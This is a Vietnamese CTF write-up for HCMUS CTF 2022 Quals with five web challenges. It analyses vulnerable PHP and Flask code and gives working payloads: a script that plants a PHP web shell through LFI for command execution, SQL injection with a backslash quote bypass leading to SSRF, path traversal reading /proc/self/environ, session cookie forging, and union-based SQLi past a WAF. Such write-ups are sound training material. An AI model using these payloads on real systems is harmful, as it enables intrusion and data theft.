---
title: HCMUS CTF 2022 Quals
tags: CTF
---
[toc]
# Challenge URL Storing
### Phân tích code
Sử dụng LFI để get source bằng tham số `page`
```
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=view.php
php://filter/convert.base64-encode/resource=store.php
```
File `index.php`
```php
<?php
error_reporting(0);
session_start();
$main = true;
if (!isset($_SESSION['db'])) {
$db = '/db/' . session_id() . ".db";
$_SESSION['db'] = $db;
$init = true;
}
else {
$db = $_SESSION['db'];
$init = false;
}
$pdo = new PDO("sqlite:" . getcwd() . $db);
if ($init) {
$pdo->exec("CREATE TABLE img (user_url string);");
}
if (!isset($_GET["page"]))
die(header("Location: index.php?page=view.php"));
$page = $_GET["page"];
if (stripos($page, "..") !== false || substr($page, 0, 1) == "/") {
die("Hack detected");
}
include($page);
?>
```
- `$_SESSION['db']` được gắn bằng `/db/[session_id].db` => mình có thể control được cái này vì `session_id` là những thứ mình nhâp sau cookie `PHPSESSID`
- File `db` sẽ nằm ở `/var/www/html/db/[session_id].db`. Cấu trúc của db này có 1 table `img` với 1 column `user_url`
- Có thể LFI ở tham số `page`, bypass chỗ if bằng `file://`
File `store.php`
```php=
<?php
error_reporting(0);
if (!isset($main)) {
die("Hack detected");
}
if (isset($_POST["url"])) {
$url = $_POST["url"];
if (filter_var($url, FILTER_VALIDATE_URL) === FALSE) {
die('Not a valid URL');
}
$stmt = $pdo->prepare("INSERT INTO img VALUES (?)");
$stmt->execute([$url]);
}
?>
```
- Check `url` truyền vào có hợp lệ hay không
- `url` sẽ được lưu vô table `img`
### IDEA
- Sau khi nhập `url` thì sẽ được lưu vô db. Chúng ta có thể biết được filename của db và vị trí lưu của file này.
- Nhập url là 1 đoạn code php => code php sẽ được lưu trong file db
- Sử dụng LFI để execute file db nằm ở `/var/www/html/db/[session_id].db`
### Payload
```python=
import requests
URL = 'http://103.245.250.31:32184'
CMD = 'cat /71c99-flag-e9c94.txt'
def upShell():
data = {'url':'http://caheo/<?=system($_GET[0]);?>'}
r = requests.post(URL+'/index.php?page=store.php',data=data)
return r.cookies['PHPSESSID']
def getFlag():
sessid = upShell()
params = {"page":f"file:///var/www/html/db/{sessid}.db","0":CMD}
r = requests.get(URL,params=params)
print(r.text)
getFlag()
```
# Challenge No BackEnd
### Unintended
Flag nằm trong file `http://103.245.250.31:32323/js/chunk-851c22b0.e53301b2.js`

### Intended
Dù register thành công nhưng login thì sẽ không được. Mình sẽ nói một số đoạn code liên quan ở dưới đây:
File `src/app/main.js` trong `webpack`
```javascript=
function getCookie (name) {
const value = `; ${document.cookie}`
const parts = value.split(`; ${name}=`)
return (parts.length >= 2)
}
router.beforeEach((to, from, next) => {
store.commit('setLoading', true)
if (to.matched.some((record) => record.meta.guest)) {
next()
} else {
if (!store.getters.isAuthenticated || !getCookie('token')) {
next('/auth/login')
return
}
next()
}
})
```
- Check `isAuthenticated` nếu là `true` với function `getCookie` trả về `true` thì sẽ qua được login
- Điều kiện của `getCookie` để trả về `true` thì dễ. Chỉ cần thêm 1 cookie `token=abc` (value >= 2) là được.
- Giờ vấn đề là cần set `isAuthenticated` thành true thì mới vô được login, đặt breakpoint và debug thì thấy được nó được set mặc định là false.

Tiếp tục vô xem file `getters.js` ở `src/store/getters.js`

Đặt breakpoint ở dòng này nó sẽ tự động nhảy đến

Tiếp tục xem `T` sẽ được gọi ở đâu, trace một lúc thì sẽ thấy được `isAuthenticated` sẽ được gán bằng return của `T`

=> Set `e.app.user = true` và `document.cookie="token=abc"` cuối cùng `f8` để run script thì sẽ login thành công.

Chat `flag` để nhận flag

# Challenge ShopcuteV3
### Phân tích code
File `login.php`
```php=
<?php
include("config.php");
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
try {
if (preg_match("/'|\"/", $_POST['username']) || preg_match("/'|\"/", $_POST['password']))
die("Làm ơn đừng hack 😵😵😵");
$sql = "select username, path from users where username='" .$_POST['username'] ."' and password='" .$_POST['password'] ."'";
$sth = $conn->query($sql);
$sth->setFetchMode(PDO::FETCH_ASSOC);
if ($sth->rowCount() > 0){
$row = $sth->fetch();
{
$_SESSION['username'] = $row['username'];
$_SESSION['api_path'] = $row['path'];
die(header("location: shopping.php"));
}
}
else {
$message = "Sai tên và mật khẩu rồi 😅";
}
} catch(PDOException $e) {
$message = "Ôi không, có gì đó sai sai. Hãy thử lại vào lúc khác nha 😅";
}
}
if (isset($_SESSION['username']))
die(header("location: shopping.php"));
?>
```
- Có thể SQLi ở `username` và `password`
- Chương trình có check một số kí tự `'`,`"` khỏi escape để SQLi nhưng ở đây có thể bypass bằng `\`
- `$_SESSION['username']` và `$_SESSION['api_path']` sẽ được gán bằng giá trị trả về của `$row['username'` và `$row['path']` tương ứng
File `flag.php`
```php=
<?php
header('Content-Type: application/json');
$response = new stdClass();
$response->status_code = 403;
$response->msg = "Error 403 forbidden, can only access by 127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") {
$response->msg = getenv("FLAG");
$response->status_code = 200;
}
echo json_encode($response);
?>
```
- Phải đăng nhập từ `127.0.0.1` thì reponse trả về sẽ là flag được lấy từ biến FLAG nằm trong `enviroment`
- Ở đây có thể đoán được là cần SSRF để truy cập vô đây
File `shopping.php`
```php=
<?php
include("config.php");
session_start();
if (!isset($_SESSION['username']))
die(header("location: login.php"));
$items_img = json_decode(file_get_contents(BASE_API_URL . "/items.json"))->{"msg"};
$items = json_decode(file_get_contents(BASE_API_URL . $_SESSION["api_path"] . "/items.json"))->{"msg"};
$items_img = (array)$items_img;
$items = (array)$items;
?>
```
- `BASE_API_URL` được set là `http://shop-api:8080` trong file `config.php`
- `file_get_contents` đọc file `/items.json`
- `file_get_contents` cũng đọc file `/items.json` nhưng trước nó là 1 đường dẫn khác đó là `$_SESSION["api_path"]`
### IDEA
- Đầu tiên, chúng ta có SQLi ở login
- Cần SSRF để truy cập từ localhost vô `/flag.txt` để get flag
- File `shopping.php` có sử dụng hàm `file_get_contents` => có thể lợi dụng funtion này để SSRF
- Ở `file_get_contents` thứ 2 có chứa `$_SESSION["api_path]` mà chúng ta có thể control được => sử dụng SQLi tạo `api_path` theo ý mình muốn
### Payload
```
username=\&password= union select 1,0x403132372e302e302e312f666c61672e70687023-- -
```
# Challenge SecureNote
### Phân tích code
File `setup_flag.py`
```python=
import requests
import secrets
import time
URL = 'http://127.0.0.1:8000'
USERNAME = "admin"
PASSWORD = '###REDACTED###'
SECRETKEY = '###REDACTED###'
print('[+] Working...')
time.sleep(10)
s = requests.Session()
r = s.post(URL + '/register', data={
'username': USERNAME,
'password': PASSWORD,
'repassword': PASSWORD,
'secretkey': SECRETKEY,
})
s.post(URL + '/login', data={
'username': USERNAME,
'password': PASSWORD,
})
s.post(URL + '/write_note', data={
'title': 'Flag hereeeeee',
'content': open('flag.txt', 'r').read(),
})
print('[+] Setup flag done!')
```
- File này cho biết được flag nằm ở note của account `admin`
File `app.py`
```python=
[TRUNCATED]
@app.route('/read_note', methods=['GET'])
def read_note():
filename = request.args.get('filename')
f = open("notes/" + filename, 'r')
content = f.read()
f.close()
try:
content = AESCipher(bytes.fromhex(session['secret_key'])).decrypt(content.encode()).decode()
except:
print('Decrypt error')
return render_template('read_note.html', content=content)
```
- Có thể control được filename => `path traversal` ở đây đọc file tùy ý
```python=
@app.route('/register', methods=['GET', 'POST'])
def register():
[TRUNCATED]
if is_valid == True:
username = waf_filter(username)
secretkey = waf_filter(secretkey)
cursor = mysql.connection.cursor()
cursor.execute(f"select * from users where username='{username}'")
if len(cursor.fetchall()) > 0:
flash('Username already exists', 'error')
else:
md5_password = hashlib.md5(password.encode()).hexdigest()
cursor.execute(f"insert into users(username, password, secret_key) values ('{username}', '{md5_password}', '{secretkey}')")
flash('Registered successfully', 'success')
return redirect('/register')
```
- Check `username` và `secretkey` qua hàm `waf_filter` ở trong file `utils/security`
- `password` đưa sau trước khi insert sẽ được hash md5
```python=
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = waf_filter(request.form['username'])
password = request.form['password']
cursor = mysql.connection.cursor()
cursor.execute(f"select * from users where username='{username}'")
rv = cursor.fetchall()
if len(rv) == 0:
flash('User not found')
else:
md5_password = hashlib.md5(password.encode()).hexdigest()
if rv[0][2] == md5_password:
session['username'] = username
session['secret_key'] = rv[0][3]
return redirect('/')
flash('Wrong password')
return redirect('/login')
```
- Login thì chỉ check `username` qua hàm `waf_filter`, `password` thì sẽ được md5 và so sánh với md5 tron database.
Tóm lại:
- Biết được `flag` nằm trong `note` của account `admin`
- password của các user đăng kí đều được hash `md5` kể cả password của `admin`
- Có 4 chỗ để sqli `/write_note`, `/notes`, `/register`, `/login`
- Có thể `path traversal` để đọc file
### IDEA
- Sử dụng `path traversal` để đọc file `environment`, khi đó sẽ lấy được `SECRET_KEY` => crarf lại session `admin` => truy cập vô `admin` lấy `flag`. flag đang bị encrypt `AES`
- Biết được `secret_key` lưu trong `db` tại account `admin` được sử dụng để decrypt => sqli để lấy `secret_key`
- Bypass `waf_filter` bằng array. Mình nhớ trong function này check `'"\` và 1 số kí tự khác bằng cách loop => có thể bypass bằng array
### Payload
- Đọc `environment` để lấy `SECRET_KEY` => `../../../../../proc/self/environ`
- Craft cookie `username=admin` để vô lấy chuỗi `flag` bị encrypt
- Craft cookie với username là ``[" ' union select 1,2,(select secret_key from users where username='admin'),4,5-- -"]`` => lấy được `secret_key` để decrypt
- Sử dụng lại code decrypt của tác giả để decrypt flag
# Challenge No Frontend
### Payload
```python=
import string
from random import choices
import requests
URL = 'http://103.245.250.31:32322'
def random_passwd(N:int)->str:
return ''.join(choices(string.ascii_letters + string.digits,k=N))
def register(username,password):
json = {'uname':username,'pwd':password}
r = requests.post(URL+'/auth/register', json=json)
print(r.text)
def login(username,password):
json = {'uname':username,'pwd':password}
r = requests.post(URL+'/auth/login',json=json)
return r.headers["Set-Cookie"].split('=')[1]
def insert(key,data,token):
json = {"key":key,"data":data}
cookies = {"token":token}
r = requests.post(URL+'/api/insert-data',json=json, cookies=cookies)
return r.json()['data']
def getData(key,Signature,token):
json = {"key":key}
cookies = {"token":token}
headers = {"Signature":Signature}
r = requests.post(URL+'/api/data', json=json, headers=headers,cookies=cookies)
return r.text
def main():
password = random_passwd(6)
register("adm",password)
register("admin_1",password)
token_admin_1 = login("admin_1",password)
print(token_admin_1)
token_admin_ = login("adm",password)
print(token_admin_)
Signature = insert("in_1key","caheo",token_admin_)
print(Signature)
data = getData("key",Signature, token_admin_1)
print(data)
if __name__ == '__main__':
main()
```